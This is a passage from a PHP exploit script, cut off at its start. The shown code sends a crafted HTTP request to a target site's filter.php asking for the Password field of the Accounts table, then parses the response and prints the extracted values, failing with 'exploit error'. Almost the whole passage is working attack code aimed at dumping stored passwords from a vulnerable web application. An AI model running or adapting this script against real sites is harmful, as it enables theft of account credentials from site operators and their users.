\n"; exit; } else { $head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: {$host}\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen ($host,80); fputs ($fsock,$head); while (!feof($fsock)) { $cont .= fgets($fsock); } fclose($fsock); if (preg_match_all("/(.+?)<\/td>/",$cont,$i)) { print_r($i[1]); } else { die ("exploit error\n"); } } ?>